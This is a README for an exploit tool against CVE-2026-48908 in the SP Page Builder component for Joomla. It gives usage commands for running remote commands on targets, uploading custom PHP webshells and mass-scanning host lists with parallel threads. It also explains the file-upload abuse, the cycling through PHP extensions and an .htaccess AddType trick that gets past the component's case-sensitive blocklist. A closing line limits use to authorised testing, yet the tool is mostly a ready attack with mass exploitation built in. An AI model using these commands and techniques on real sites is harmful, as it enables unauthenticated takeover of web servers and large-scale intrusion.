
Unauthenticated RCE PoC for CVE-2026-48908 SP Page Builder (Joomla) arbitrary file upload and remote code execution exploit with mass scaning support.
SP Page Builder (com_sppagebuilder) for Joomla ≤ 6.6.1 allows unauthenticated attackers to upload arbitrary files and achieve Remote Code Execution.
| Field | Value |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Improper Access Control) |
| Component | SP Page Builder (com_sppagebuilder) |
| Affected | 1.0.0 – 6.6.1 |
| Fixed in | 6.6.2 |
| Privileges | None (pre-authentication) |
| User interaction | None |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # probe only, no command
python3 exploit_poc.py https://target.example --token abc123 # custom token
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 parallel threads
python3 exploit_poc.py --hosts ips.txt --no-verbose # quiet mode
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
Note: When using
--shell-file, the script only uploads the webshell and reports the URL. It does not run the-ccommand or perform any execution test. The uploaded shell must handle command input independently.



After a scan, three result files are saved:
The exploit abuses the com_sppagebuilder asset.uploadCustomIcon task:
/media/com_sppagebuilder/assets/iconfont/<name>/fonts/.The script tries multiple PHP extensions (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) until it finds one that executes.
When direct PHP extensions are blocked by SPPB's filter, the script drops a .htaccess file alongside the payload:
AddType application/x-httpd-php .PHP
This forces the web server to treat .PHP (uppercase) as PHP — bypassing SPPB's case-sensitive blocklist. Requires AllowOverride enabled and PHP execution allowed in /media.
Note: The
.htaccess+ uppercase.PHPbypass may not work on all configurations. If it fails, try using.pngor.jpegextensions instead. On servers withAllowOverridedisabled or PHP execution blocked in/media, even uploaded shells will not execute (reported as "write-only").
This PoC is based on https://github.com/papageo75/CVE-2026-48908-PoC/ with the following additions:
Some server responses may contain non-JSON prefixes (e.g., cron expressions or other garbage) before the actual JSON payload. The original PoC would crash on r.json() when parsing such responses. This version scans for the first { character and attempts to decode the JSON substring:
Before:
try:
data = r.json()
except ValueError:
return None
After:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
Example — valid JSON response:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Example — non-JSON response (prefix garbage before JSON):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Added multi-threaded mass scanning capability:
--hosts <file> — load targets from a file (one per line)-j, --threads <n> — set parallel thread count (default: 10)--no-verbose — suppress per-host verbose output.txt filesAdded --shell-file <path> option to upload a custom PHP webshell instead of the built-in token-guarded shell. When using this option:
-c commandsrun()) is performedcustom_shell_hosts.txtAUTHORIZED USE ONLY. For sanctioned penetration tests, CTF, and lab targets only. You are solely responsible for how you use this tool.
| Flag | Description |
|---|
url | Target URL (positional or --url) |
--hosts <file> | File with one host per line |
-c, --cmd <cmd> | Command to execute (default: id) |
--check | Probe only, do not run a command |
--token <token> | Secret guarding the uploaded shell (default: random) |
--shell-file <path> | Upload a custom PHP webshell instead of the built-in one |
-j, --threads <n> | Parallel threads for mass scan (default: 10) |
--no-verbose | Suppress per-host verbose output |
| File | Content |
|---|
vulnerable_hosts.txt | Hosts with confirmed RCE + webshell URLs |
not_vulnerable_hosts.txt | Hosts that are patched or absent |
partial_vulnerable_hosts.txt | Hosts with file-write but no PHP execution |
custom_shell_hosts.txt | Hosts with uploaded custom shell, grouped by base URL (only generated when using --shell-file) |
scan_results.json | Full JSON results for all hosts |